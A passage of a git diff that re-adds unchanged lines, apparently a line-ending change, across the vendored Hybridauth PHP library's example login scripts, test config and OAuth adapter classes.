$adapter->getUserProfile(); + + // print_r($userProfile); + + $adapter->disconnect(); +} catch (Exception $e) { + echo $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_04.php b/vendor/hybridauth/hybridauth/examples/example_04.php index 4341106dbd..0344fc9356 100644 --- a/vendor/hybridauth/hybridauth/examples/example_04.php +++ b/vendor/hybridauth/hybridauth/examples/example_04.php @@ -1,31 +1,31 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - - 'openid_identifier' => 'https://open.login.yahooapis.com/openid20/www.yahoo.com/xrds', - // 'openid_identifier' => 'https://openid.stackexchange.com/', - // 'openid_identifier' => 'http://steamcommunity.com/openid', - // etc. -]; - -try { - $adapter = new Hybridauth\Provider\OpenID($config); - - $adapter->authenticate(); - - $tokens = $adapter->getAccessToken(); - $userProfile = $adapter->getUserProfile(); - - // print_r($tokens); - // print_r($userProfile); - - $adapter->disconnect(); -} catch (Exception $e) { - echo $e->getMessage(); -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + + 'openid_identifier' => 'https://open.login.yahooapis.com/openid20/www.yahoo.com/xrds', + // 'openid_identifier' => 'https://openid.stackexchange.com/', + // 'openid_identifier' => 'http://steamcommunity.com/openid', + // etc. +]; + +try { + $adapter = new Hybridauth\Provider\OpenID($config); + + $adapter->authenticate(); + + $tokens = $adapter->getAccessToken(); + $userProfile = $adapter->getUserProfile(); + + // print_r($tokens); + // print_r($userProfile); + + $adapter->disconnect(); +} catch (Exception $e) { + echo $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_05.php b/vendor/hybridauth/hybridauth/examples/example_05.php index 8ca4cac444..63134b62c6 100644 --- a/vendor/hybridauth/hybridauth/examples/example_05.php +++ b/vendor/hybridauth/hybridauth/examples/example_05.php @@ -1,32 +1,32 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - - 'keys' => ['id' => '', 'secret' => ''], -]; - -$guzzle = new Hybridauth\HttpClient\Guzzle(null, [ - // 'verify' => true, # Set to false to disable SSL certificate verification -]); - -try { - $adapter = new Hybridauth\Provider\Github($config, $guzzle); - - $adapter->authenticate(); - - $tokens = $adapter->getAccessToken(); - $userProfile = $adapter->getUserProfile(); - - // print_r($tokens); - // print_r($userProfile); - - $adapter->disconnect(); -} catch (Exception $e) { - echo $e->getMessage(); -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + + 'keys' => ['id' => '', 'secret' => ''], +]; + +$guzzle = new Hybridauth\HttpClient\Guzzle(null, [ + // 'verify' => true, # Set to false to disable SSL certificate verification +]); + +try { + $adapter = new Hybridauth\Provider\Github($config, $guzzle); + + $adapter->authenticate(); + + $tokens = $adapter->getAccessToken(); + $userProfile = $adapter->getUserProfile(); + + // print_r($tokens); + // print_r($userProfile); + + $adapter->disconnect(); +} catch (Exception $e) { + echo $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_06/callback.php b/vendor/hybridauth/hybridauth/examples/example_06/callback.php index f18bfacd63..b8768ba4ca 100644 --- a/vendor/hybridauth/hybridauth/examples/example_06/callback.php +++ b/vendor/hybridauth/hybridauth/examples/example_06/callback.php @@ -1,59 +1,59 @@ -set('provider', $_GET['provider']); - } - - /** - * When provider exists in the storage, try to authenticate user and clear storage. - * - * When invoked, `authenticate()` will redirect users to provider login page where they - * will be asked to grant access to your application. If they do, provider will redirect - * the users back to Authorization callback URL (i.e., this script). - */ - if ($provider = $storage->get('provider')) { - $hybridauth->authenticate($provider); - $storage->set('provider', null); - } - - /** - * This will erase the current user authentication data from session, and any further - * attempt to communicate with provider. - */ - if (isset($_GET['logout'])) { - $adapter = $hybridauth->getAdapter($_GET['logout']); - $adapter->disconnect(); - } - - /** - * Redirects user to home page (i.e., index.php in our case) - */ - HttpClient\Util::redirect('https://path/to/hybridauth/examples/example_06'); -} catch (Exception $e) { - echo $e->getMessage(); -} +set('provider', $_GET['provider']); + } + + /** + * When provider exists in the storage, try to authenticate user and clear storage. + * + * When invoked, `authenticate()` will redirect users to provider login page where they + * will be asked to grant access to your application. If they do, provider will redirect + * the users back to Authorization callback URL (i.e., this script). + */ + if ($provider = $storage->get('provider')) { + $hybridauth->authenticate($provider); + $storage->set('provider', null); + } + + /** + * This will erase the current user authentication data from session, and any further + * attempt to communicate with provider. + */ + if (isset($_GET['logout'])) { + $adapter = $hybridauth->getAdapter($_GET['logout']); + $adapter->disconnect(); + } + + /** + * Redirects user to home page (i.e., index.php in our case) + */ + HttpClient\Util::redirect('https://path/to/hybridauth/examples/example_06'); +} catch (Exception $e) { + echo $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_06/config.php b/vendor/hybridauth/hybridauth/examples/example_06/config.php index 04dbeca5bf..4e2e047b0f 100644 --- a/vendor/hybridauth/hybridauth/examples/example_06/config.php +++ b/vendor/hybridauth/hybridauth/examples/example_06/config.php @@ -1,35 +1,35 @@ - 'https://path/to/hybridauth/examples/example_06/callback.php', - 'providers' => [ - 'Twitter' => [ - 'enabled' => true, - 'keys' => [ - 'key' => '...', - 'secret' => '...', - ], - ], - 'LinkedIn' => [ - 'enabled' => true, - 'keys' => [ - 'id' => '...', - 'secret' => '...', - ], - ], - 'Facebook' => [ - 'enabled' => true, - 'keys' => [ - 'id' => '...', - 'secret' => '...', - ], - ], - ], -]; + 'https://path/to/hybridauth/examples/example_06/callback.php', + 'providers' => [ + 'Twitter' => [ + 'enabled' => true, + 'keys' => [ + 'key' => '...', + 'secret' => '...', + ], + ], + 'LinkedIn' => [ + 'enabled' => true, + 'keys' => [ + 'id' => '...', + 'secret' => '...', + ], + ], + 'Facebook' => [ + 'enabled' => true, + 'keys' => [ + 'id' => '...', + 'secret' => '...', + ], + ], + ], +]; diff --git a/vendor/hybridauth/hybridauth/examples/example_06/index.php b/vendor/hybridauth/hybridauth/examples/example_06/index.php index c6061b1667..4d5ec484e8 100644 --- a/vendor/hybridauth/hybridauth/examples/example_06/index.php +++ b/vendor/hybridauth/hybridauth/examples/example_06/index.php @@ -1,49 +1,49 @@ -getConnectedAdapters(); -?> - - - - - - Example 06 - - -

                                Sign in

                                - - - - -

                                You are logged in:

                                -
                                  - $adapter) : ?> -
                                • - getUserProfile()->displayName; ?> from - - (">Log Out) -
                                • - -
                                - - - +getConnectedAdapters(); +?> + + + + + + Example 06 + + +

                                Sign in

                                + + + + +

                                You are logged in:

                                +
                                  + $adapter) : ?> +
                                • + getUserProfile()->displayName; ?> from + + (">Log Out) +
                                • + +
                                + + + diff --git a/vendor/hybridauth/hybridauth/examples/example_07/callback.php b/vendor/hybridauth/hybridauth/examples/example_07/callback.php index 950e2df3e3..4d92431121 100644 --- a/vendor/hybridauth/hybridauth/examples/example_07/callback.php +++ b/vendor/hybridauth/hybridauth/examples/example_07/callback.php @@ -1,99 +1,99 @@ -getProviders())) { - // Store the provider for the callback event - $storage->set('provider', $_GET['provider']); - } else { - $error = $_GET['provider']; - } - } - - // - // Event 2: User clicked LOGOUT link - // - if (isset($_GET['logout'])) { - if (in_array($_GET['logout'], $hybridauth->getProviders())) { - // Disconnect the adapter - $adapter = $hybridauth->getAdapter($_GET['logout']); - $adapter->disconnect(); - } else { - $error = $_GET['logout']; - } - } - - // - // Handle invalid provider errors - // - if ($error) { - error_log('Hybridauth Error: Provider ' . json_encode($error) . ' not found or not enabled in $config'); - // Close the pop-up window - echo " - "; - exit; - } - - // - // Event 3: Provider returns via CALLBACK - // - if ($provider = $storage->get('provider')) { - - $hybridauth->authenticate($provider); - $storage->set('provider', null); - - // Retrieve the provider record - $adapter = $hybridauth->getAdapter($provider); - $userProfile = $adapter->getUserProfile(); - $accessToken = $adapter->getAccessToken(); - - // add your custom AUTH functions (if any) here - // ... - $data = [ - 'token' => $accessToken, - 'identifier' => $userProfile->identifier, - 'email' => $userProfile->email, - 'first_name' => $userProfile->firstName, - 'last_name' => $userProfile->lastName, - 'photoURL' => strtok($userProfile->photoURL, '?'), - ]; - // ... - - // Close pop-up window - echo " - "; - - } - -} catch (Exception $e) { - error_log($e->getMessage()); - echo $e->getMessage(); -} +getProviders())) { + // Store the provider for the callback event + $storage->set('provider', $_GET['provider']); + } else { + $error = $_GET['provider']; + } + } + + // + // Event 2: User clicked LOGOUT link + // + if (isset($_GET['logout'])) { + if (in_array($_GET['logout'], $hybridauth->getProviders())) { + // Disconnect the adapter + $adapter = $hybridauth->getAdapter($_GET['logout']); + $adapter->disconnect(); + } else { + $error = $_GET['logout']; + } + } + + // + // Handle invalid provider errors + // + if ($error) { + error_log('Hybridauth Error: Provider ' . json_encode($error) . ' not found or not enabled in $config'); + // Close the pop-up window + echo " + "; + exit; + } + + // + // Event 3: Provider returns via CALLBACK + // + if ($provider = $storage->get('provider')) { + + $hybridauth->authenticate($provider); + $storage->set('provider', null); + + // Retrieve the provider record + $adapter = $hybridauth->getAdapter($provider); + $userProfile = $adapter->getUserProfile(); + $accessToken = $adapter->getAccessToken(); + + // add your custom AUTH functions (if any) here + // ... + $data = [ + 'token' => $accessToken, + 'identifier' => $userProfile->identifier, + 'email' => $userProfile->email, + 'first_name' => $userProfile->firstName, + 'last_name' => $userProfile->lastName, + 'photoURL' => strtok($userProfile->photoURL, '?'), + ]; + // ... + + // Close pop-up window + echo " + "; + + } + +} catch (Exception $e) { + error_log($e->getMessage()); + echo $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_07/config.php b/vendor/hybridauth/hybridauth/examples/example_07/config.php index 5604a6325e..62e3458397 100644 --- a/vendor/hybridauth/hybridauth/examples/example_07/config.php +++ b/vendor/hybridauth/hybridauth/examples/example_07/config.php @@ -1,27 +1,27 @@ - 'https://path/to/hybridauth/examples/example_07/callback.php', - 'providers' => [ - - 'Google' => [ - 'enabled' => true, - 'keys' => [ - 'id' => '...', - 'secret' => '...', - ], - 'scope' => 'email', - ], - - // 'Yahoo' => ['enabled' => true, 'keys' => ['key' => '...', 'secret' => '...']], - // 'Facebook' => ['enabled' => true, 'keys' => ['id' => '...', 'secret' => '...']], - // 'Twitter' => ['enabled' => true, 'keys' => ['key' => '...', 'secret' => '...']], - // 'Instagram' => ['enabled' => true, 'keys' => ['id' => '...', 'secret' => '...']], - - ], -]; + 'https://path/to/hybridauth/examples/example_07/callback.php', + 'providers' => [ + + 'Google' => [ + 'enabled' => true, + 'keys' => [ + 'id' => '...', + 'secret' => '...', + ], + 'scope' => 'email', + ], + + // 'Yahoo' => ['enabled' => true, 'keys' => ['key' => '...', 'secret' => '...']], + // 'Facebook' => ['enabled' => true, 'keys' => ['id' => '...', 'secret' => '...']], + // 'Twitter' => ['enabled' => true, 'keys' => ['key' => '...', 'secret' => '...']], + // 'Instagram' => ['enabled' => true, 'keys' => ['id' => '...', 'secret' => '...']], + + ], +]; diff --git a/vendor/hybridauth/hybridauth/examples/example_07/index.php b/vendor/hybridauth/hybridauth/examples/example_07/index.php index 5b5bb60a59..5ee1d82e5c 100644 --- a/vendor/hybridauth/hybridauth/examples/example_07/index.php +++ b/vendor/hybridauth/hybridauth/examples/example_07/index.php @@ -1,65 +1,65 @@ -getConnectedAdapters(); -?> - - - - - - Example 07 - - - - - -

                                Sign in

                                - - - - -

                                You are logged in:

                                -
                                  - $adapter) : ?> -
                                • - getUserProfile()->displayName; ?> from - - (">Log Out) -
                                • - -
                                - - - - +getConnectedAdapters(); +?> + + + + + + Example 07 + + + + + +

                                Sign in

                                + + + + +

                                You are logged in:

                                +
                                  + $adapter) : ?> +
                                • + getUserProfile()->displayName; ?> from + + (">Log Out) +
                                • + +
                                + + + + diff --git a/vendor/hybridauth/hybridauth/phpunit.xml b/vendor/hybridauth/hybridauth/phpunit.xml index 89b63a530d..668679d7fe 100644 --- a/vendor/hybridauth/hybridauth/phpunit.xml +++ b/vendor/hybridauth/hybridauth/phpunit.xml @@ -1,14 +1,14 @@ - - - - ./tests/ - - - + + + + ./tests/ + + + diff --git a/vendor/hybridauth/hybridauth/src/Adapter/AbstractAdapter.php b/vendor/hybridauth/hybridauth/src/Adapter/AbstractAdapter.php index 608eb7dbed..4d828203df 100644 --- a/vendor/hybridauth/hybridauth/src/Adapter/AbstractAdapter.php +++ b/vendor/hybridauth/hybridauth/src/Adapter/AbstractAdapter.php @@ -1,372 +1,372 @@ -providerId = (new \ReflectionClass($this))->getShortName(); - - $this->config = new Data\Collection($config); - - $this->setHttpClient($httpClient); - - $this->setStorage($storage); - - $this->setLogger($logger); - - $this->configure(); - - $this->logger->debug(sprintf('Initialize %s, config: ', get_class($this)), $config); - - $this->initialize(); - } - - /** - * Load adapter's configuration - */ - abstract protected function configure(); - - /** - * Adapter initializer - */ - abstract protected function initialize(); - - /** - * {@inheritdoc} - */ - abstract public function isConnected(); - - /** - * {@inheritdoc} - */ - public function apiRequest($url, $method = 'GET', $parameters = [], $headers = [], $multipart = false) - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function maintainToken() - { - // Nothing needed for most providers - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function getUserContacts() - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function getUserPages() - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function getUserActivity($stream) - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function setUserStatus($status) - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function setPageStatus($status, $pageId) - { - throw new NotImplementedException('Provider does not support this feature.'); - } - - /** - * {@inheritdoc} - */ - public function disconnect() - { - $this->clearStoredData(); - } - - /** - * {@inheritdoc} - */ - public function getAccessToken() - { - $tokenNames = [ - 'access_token', - 'access_token_secret', - 'token_type', - 'refresh_token', - 'expires_in', - 'expires_at', - ]; - - $tokens = []; - - foreach ($tokenNames as $name) { - if ($this->getStoredData($name)) { - $tokens[$name] = $this->getStoredData($name); - } - } - - return $tokens; - } - - /** - * {@inheritdoc} - */ - public function setAccessToken($tokens = []) - { - $this->clearStoredData(); - - foreach ($tokens as $token => $value) { - $this->storeData($token, $value); - } - - // Re-initialize token parameters. - $this->initialize(); - } - - /** - * {@inheritdoc} - */ - public function setHttpClient(HttpClientInterface $httpClient = null) - { - $this->httpClient = $httpClient ?: new HttpClient(); - - if ($this->config->exists('curl_options') && method_exists($this->httpClient, 'setCurlOptions')) { - $this->httpClient->setCurlOptions($this->config->get('curl_options')); - } - } - - /** - * {@inheritdoc} - */ - public function getHttpClient() - { - return $this->httpClient; - } - - /** - * {@inheritdoc} - */ - public function setStorage(StorageInterface $storage = null) - { - $this->storage = $storage ?: new Session(); - } - - /** - * {@inheritdoc} - */ - public function getStorage() - { - return $this->storage; - } - - /** - * {@inheritdoc} - */ - public function setLogger(LoggerInterface $logger = null) - { - $this->logger = $logger ?: new Logger( - $this->config->get('debug_mode'), - $this->config->get('debug_file') - ); - - if (method_exists($this->httpClient, 'setLogger')) { - $this->httpClient->setLogger($this->logger); - } - } - - /** - * {@inheritdoc} - */ - public function getLogger() - { - return $this->logger; - } - - /** - * Set Adapter's API callback url - * - * @param string $callback - * - * @throws InvalidArgumentException - */ - protected function setCallback($callback) - { - if (!filter_var($callback, FILTER_VALIDATE_URL)) { - throw new InvalidArgumentException('A valid callback url is required.'); - } - - $this->callback = $callback; - } - - /** - * Overwrite Adapter's API endpoints - * - * @param array|Data\Collection $endpoints - */ - protected function setApiEndpoints($endpoints = null) - { - if (empty($endpoints)) { - return; - } - - $collection = is_array($endpoints) ? new Data\Collection($endpoints) : $endpoints; - - $this->apiBaseUrl = $collection->get('api_base_url') ?: $this->apiBaseUrl; - $this->authorizeUrl = $collection->get('authorize_url') ?: $this->authorizeUrl; - $this->accessTokenUrl = $collection->get('access_token_url') ?: $this->accessTokenUrl; - } - - - /** - * Validate signed API responses Http status code. - * - * Since the specifics of error responses is beyond the scope of RFC6749 and OAuth Core specifications, - * Hybridauth will consider any HTTP status code that is different than '200 OK' as an ERROR. - * - * @param string $error String to pre append to message thrown in exception - * - * @throws HttpClientFailureException - * @throws HttpRequestFailedException - */ - protected function validateApiResponse($error = '') - { - $error .= !empty($error) ? '. ' : ''; - - if ($this->httpClient->getResponseClientError()) { - throw new HttpClientFailureException( - $error . 'HTTP client error: ' . $this->httpClient->getResponseClientError() . '.' - ); - } - - // if validateApiResponseHttpCode is set to false, we by pass verification of http status code - if (!$this->validateApiResponseHttpCode) { - return; - } - - $status = $this->httpClient->getResponseHttpCode(); - - if ($status < 200 || $status > 299) { - throw new HttpRequestFailedException( - $error . 'HTTP error ' . $this->httpClient->getResponseHttpCode() . - '. Raw Provider API response: ' . $this->httpClient->getResponseBody() . '.' - ); - } - } -} +providerId = (new \ReflectionClass($this))->getShortName(); + + $this->config = new Data\Collection($config); + + $this->setHttpClient($httpClient); + + $this->setStorage($storage); + + $this->setLogger($logger); + + $this->configure(); + + $this->logger->debug(sprintf('Initialize %s, config: ', get_class($this)), $config); + + $this->initialize(); + } + + /** + * Load adapter's configuration + */ + abstract protected function configure(); + + /** + * Adapter initializer + */ + abstract protected function initialize(); + + /** + * {@inheritdoc} + */ + abstract public function isConnected(); + + /** + * {@inheritdoc} + */ + public function apiRequest($url, $method = 'GET', $parameters = [], $headers = [], $multipart = false) + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function maintainToken() + { + // Nothing needed for most providers + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function getUserContacts() + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function getUserPages() + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function getUserActivity($stream) + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function setUserStatus($status) + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function setPageStatus($status, $pageId) + { + throw new NotImplementedException('Provider does not support this feature.'); + } + + /** + * {@inheritdoc} + */ + public function disconnect() + { + $this->clearStoredData(); + } + + /** + * {@inheritdoc} + */ + public function getAccessToken() + { + $tokenNames = [ + 'access_token', + 'access_token_secret', + 'token_type', + 'refresh_token', + 'expires_in', + 'expires_at', + ]; + + $tokens = []; + + foreach ($tokenNames as $name) { + if ($this->getStoredData($name)) { + $tokens[$name] = $this->getStoredData($name); + } + } + + return $tokens; + } + + /** + * {@inheritdoc} + */ + public function setAccessToken($tokens = []) + { + $this->clearStoredData(); + + foreach ($tokens as $token => $value) { + $this->storeData($token, $value); + } + + // Re-initialize token parameters. + $this->initialize(); + } + + /** + * {@inheritdoc} + */ + public function setHttpClient(HttpClientInterface $httpClient = null) + { + $this->httpClient = $httpClient ?: new HttpClient(); + + if ($this->config->exists('curl_options') && method_exists($this->httpClient, 'setCurlOptions')) { + $this->httpClient->setCurlOptions($this->config->get('curl_options')); + } + } + + /** + * {@inheritdoc} + */ + public function getHttpClient() + { + return $this->httpClient; + } + + /** + * {@inheritdoc} + */ + public function setStorage(StorageInterface $storage = null) + { + $this->storage = $storage ?: new Session(); + } + + /** + * {@inheritdoc} + */ + public function getStorage() + { + return $this->storage; + } + + /** + * {@inheritdoc} + */ + public function setLogger(LoggerInterface $logger = null) + { + $this->logger = $logger ?: new Logger( + $this->config->get('debug_mode'), + $this->config->get('debug_file') + ); + + if (method_exists($this->httpClient, 'setLogger')) { + $this->httpClient->setLogger($this->logger); + } + } + + /** + * {@inheritdoc} + */ + public function getLogger() + { + return $this->logger; + } + + /** + * Set Adapter's API callback url + * + * @param string $callback + * + * @throws InvalidArgumentException + */ + protected function setCallback($callback) + { + if (!filter_var($callback, FILTER_VALIDATE_URL)) { + throw new InvalidArgumentException('A valid callback url is required.'); + } + + $this->callback = $callback; + } + + /** + * Overwrite Adapter's API endpoints + * + * @param array|Data\Collection $endpoints + */ + protected function setApiEndpoints($endpoints = null) + { + if (empty($endpoints)) { + return; + } + + $collection = is_array($endpoints) ? new Data\Collection($endpoints) : $endpoints; + + $this->apiBaseUrl = $collection->get('api_base_url') ?: $this->apiBaseUrl; + $this->authorizeUrl = $collection->get('authorize_url') ?: $this->authorizeUrl; + $this->accessTokenUrl = $collection->get('access_token_url') ?: $this->accessTokenUrl; + } + + + /** + * Validate signed API responses Http status code. + * + * Since the specifics of error responses is beyond the scope of RFC6749 and OAuth Core specifications, + * Hybridauth will consider any HTTP status code that is different than '200 OK' as an ERROR. + * + * @param string $error String to pre append to message thrown in exception + * + * @throws HttpClientFailureException + * @throws HttpRequestFailedException + */ + protected function validateApiResponse($error = '') + { + $error .= !empty($error) ? '. ' : ''; + + if ($this->httpClient->getResponseClientError()) { + throw new HttpClientFailureException( + $error . 'HTTP client error: ' . $this->httpClient->getResponseClientError() . '.' + ); + } + + // if validateApiResponseHttpCode is set to false, we by pass verification of http status code + if (!$this->validateApiResponseHttpCode) { + return; + } + + $status = $this->httpClient->getResponseHttpCode(); + + if ($status < 200 || $status > 299) { + throw new HttpRequestFailedException( + $error . 'HTTP error ' . $this->httpClient->getResponseHttpCode() . + '. Raw Provider API response: ' . $this->httpClient->getResponseBody() . '.' + ); + } + } +} diff --git a/vendor/hybridauth/hybridauth/src/Adapter/AdapterInterface.php b/vendor/hybridauth/hybridauth/src/Adapter/AdapterInterface.php index dd3f7713dd..537daaa322 100644 --- a/vendor/hybridauth/hybridauth/src/Adapter/AdapterInterface.php +++ b/vendor/hybridauth/hybridauth/src/Adapter/AdapterInterface.php @@ -1,155 +1,155 @@ -deleteStoredData($name); - } - - $this->getStorage()->set($this->providerId . '.' . $name, $value); - } - - /** - * Retrieve a piece of data from storage. - * - * This method is mainly used for OAuth tokens (access, secret, refresh, and whatnot), but it - * can be also used by providers to retrieve from store any other useful data (i.g., user_id, - * auth_nonce, etc.) - * - * @param string $name - * - * @return mixed - */ - protected function getStoredData($name) - { - return $this->getStorage()->get($this->providerId . '.' . $name); - } - - /** - * Delete a stored piece of data. - * - * @param string $name - */ - protected function deleteStoredData($name) - { - $this->getStorage()->delete($this->providerId . '.' . $name); - } - - /** - * Delete all stored data of the instantiated adapter - */ - protected function clearStoredData() - { - $this->getStorage()->deleteMatch($this->providerId . '.'); - } -} +deleteStoredData($name); + } + + $this->getStorage()->set($this->providerId . '.' . $name, $value); + } + + /** + * Retrieve a piece of data from storage. + * + * This method is mainly used for OAuth tokens (access, secret, refresh, and whatnot), but it + * can be also used by providers to retrieve from store any other useful data (i.g., user_id, + * auth_nonce, etc.) + * + * @param string $name + * + * @return mixed + */ + protected function getStoredData($name) + { + return $this->getStorage()->get($this->providerId . '.' . $name); + } + + /** + * Delete a stored piece of data. + * + * @param string $name + */ + protected function deleteStoredData($name) + { + $this->getStorage()->delete($this->providerId . '.' . $name); + } + + /** + * Delete all stored data of the instantiated adapter + */ + protected function clearStoredData() + { + $this->getStorage()->deleteMatch($this->providerId . '.'); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Adapter/OAuth1.php b/vendor/hybridauth/hybridauth/src/Adapter/OAuth1.php index 425c6d9d28..e500d1a23e 100644 --- a/vendor/hybridauth/hybridauth/src/Adapter/OAuth1.php +++ b/vendor/hybridauth/hybridauth/src/Adapter/OAuth1.php @@ -1,616 +1,616 @@ -consumerKey = $this->config->filter('keys')->get('id') ?: $this->config->filter('keys')->get('key'); - $this->consumerSecret = $this->config->filter('keys')->get('secret'); - - if (!$this->consumerKey || !$this->consumerSecret) { - throw new InvalidApplicationCredentialsException( - 'Your application id is required in order to connect to ' . $this->providerId - ); - } - - if ($this->config->exists('tokens')) { - $this->setAccessToken($this->config->get('tokens')); - } - - $this->setCallback($this->config->get('callback')); - $this->setApiEndpoints($this->config->get('endpoints')); - } - - /** - * {@inheritdoc} - */ - protected function initialize() - { - /** - * Set up OAuth Signature and Consumer - * - * OAuth Core: All Token requests and Protected Resources requests MUST be signed - * by the Consumer and verified by the Service Provider. - * - * The protocol defines three signature methods: HMAC-SHA1, RSA-SHA1, and PLAINTEXT.. - * - * The Consumer declares a signature method in the oauth_signature_method parameter.. - * - * http://oauth.net/core/1.0a/#signing_process - */ - $this->sha1Method = new OAuthSignatureMethodHMACSHA1(); - - $this->OAuthConsumer = new OAuthConsumer( - $this->consumerKey, - $this->consumerSecret - ); - - if ($this->getStoredData('request_token')) { - $this->consumerToken = new OAuthConsumer( - $this->getStoredData('request_token'), - $this->getStoredData('request_token_secret') - ); - } - - if ($this->getStoredData('access_token')) { - $this->consumerToken = new OAuthConsumer( - $this->getStoredData('access_token'), - $this->getStoredData('access_token_secret') - ); - } - } - - /** - * {@inheritdoc} - */ - public function authenticate() - { - $this->logger->info(sprintf('%s::authenticate()', get_class($this))); - - if ($this->isConnected()) { - return true; - } - - try { - if (!$this->getStoredData('request_token')) { - // Start a new flow. - $this->authenticateBegin(); - } elseif (empty($_GET['oauth_token']) && empty($_GET['denied'])) { - // A previous authentication was not finished, and this request is not finishing it. - $this->authenticateBegin(); - } else { - // Finish a flow. - $this->authenticateFinish(); - } - } catch (Exception $exception) { - $this->clearStoredData(); - - throw $exception; - } - - return null; - } - - /** - * {@inheritdoc} - */ - public function isConnected() - { - return (bool)$this->getStoredData('access_token'); - } - - /** - * Initiate the authorization protocol - * - * 1. Obtaining an Unauthorized Request Token - * 2. Build Authorization URL for Authorization Request and redirect the user-agent to the - * Authorization Server. - */ - protected function authenticateBegin() - { - $response = $this->requestAuthToken(); - - $this->validateAuthTokenRequest($response); - - $authUrl = $this->getAuthorizeUrl(); - - $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this)), [$authUrl]); - - HttpClient\Util::redirect($authUrl); - } - - /** - * Finalize the authorization process - * - * @throws AuthorizationDeniedException - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws InvalidAccessTokenException - * @throws InvalidOauthTokenException - */ - protected function authenticateFinish() - { - $this->logger->debug( - sprintf('%s::authenticateFinish(), callback url:', get_class($this)), - [HttpClient\Util::getCurrentUrl(true)] - ); - - $denied = filter_input(INPUT_GET, 'denied'); - $oauth_problem = filter_input(INPUT_GET, 'oauth_problem'); - $oauth_token = filter_input(INPUT_GET, 'oauth_token'); - $oauth_verifier = filter_input(INPUT_GET, 'oauth_verifier'); - - if ($denied) { - throw new AuthorizationDeniedException( - 'User denied access request. Provider returned a denied token: ' . htmlentities($denied) - ); - } - - if ($oauth_problem) { - throw new InvalidOauthTokenException( - 'Provider returned an error. oauth_problem: ' . htmlentities($oauth_problem) - ); - } - - if (!$oauth_token) { - throw new InvalidOauthTokenException( - 'Expecting a non-null oauth_token to continue the authorization flow.' - ); - } - - $response = $this->exchangeAuthTokenForAccessToken($oauth_token, $oauth_verifier); - - $this->validateAccessTokenExchange($response); - - $this->initialize(); - } - - /** - * Build Authorization URL for Authorization Request - * - * @param array $parameters - * - * @return string - */ - protected function getAuthorizeUrl($parameters = []) - { - $this->AuthorizeUrlParameters = !empty($parameters) - ? $parameters - : array_replace( - (array)$this->AuthorizeUrlParameters, - (array)$this->config->get('authorize_url_parameters') - ); - - $this->AuthorizeUrlParameters['oauth_token'] = $this->getStoredData('request_token'); - - return $this->authorizeUrl . '?' . http_build_query($this->AuthorizeUrlParameters, '', '&'); - } - - /** - * Unauthorized Request Token - * - * OAuth Core: The Consumer obtains an unauthorized Request Token by asking the Service Provider - * to issue a Token. The Request Token's sole purpose is to receive User approval and can only - * be used to obtain an Access Token. - * - * http://oauth.net/core/1.0/#auth_step1 - * 6.1.1. Consumer Obtains a Request Token - * - * @return string Raw Provider API response - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - */ - protected function requestAuthToken() - { - /** - * OAuth Core 1.0 Revision A: oauth_callback: An absolute URL to which the Service Provider will redirect - * the User back when the Obtaining User Authorization step is completed. - * - * http://oauth.net/core/1.0a/#auth_step1 - */ - if ('1.0a' == $this->oauth1Version) { - $this->requestTokenParameters['oauth_callback'] = $this->callback; - } - - $response = $this->oauthRequest( - $this->requestTokenUrl, - $this->requestTokenMethod, - $this->requestTokenParameters, - $this->requestTokenHeaders - ); - - return $response; - } - - /** - * Validate Unauthorized Request Token Response - * - * OAuth Core: The Service Provider verifies the signature and Consumer Key. If successful, - * it generates a Request Token and Token Secret and returns them to the Consumer in the HTTP - * response body. - * - * http://oauth.net/core/1.0/#auth_step1 - * 6.1.2. Service Provider Issues an Unauthorized Request Token - * - * @param string $response - * - * @return \Hybridauth\Data\Collection - * @throws InvalidOauthTokenException - */ - protected function validateAuthTokenRequest($response) - { - /** - * The response contains the following parameters: - * - * - oauth_token The Request Token. - * - oauth_token_secret The Token Secret. - * - oauth_callback_confirmed MUST be present and set to true. - * - * http://oauth.net/core/1.0/#auth_step1 - * 6.1.2. Service Provider Issues an Unauthorized Request Token - * - * Example of a successful response: - * - * HTTP/1.1 200 OK - * Content-Type: text/html; charset=utf-8 - * Cache-Control: no-store - * Pragma: no-cache - * - * oauth_token=80359084-clg1DEtxQF3wstTcyUdHF3wsdHM&oauth_token_secret=OIF07hPmJB:P - * 6qiHTi1znz6qiH3tTcyUdHnz6qiH3tTcyUdH3xW3wsDvV08e&example_parameter=example_value - * - * OAuthUtil::parse_parameters will attempt to decode the raw response into an array. - */ - $tokens = OAuthUtil::parse_parameters($response); - - $collection = new Data\Collection($tokens); - - if (!$collection->exists('oauth_token')) { - throw new InvalidOauthTokenException( - 'Provider returned no 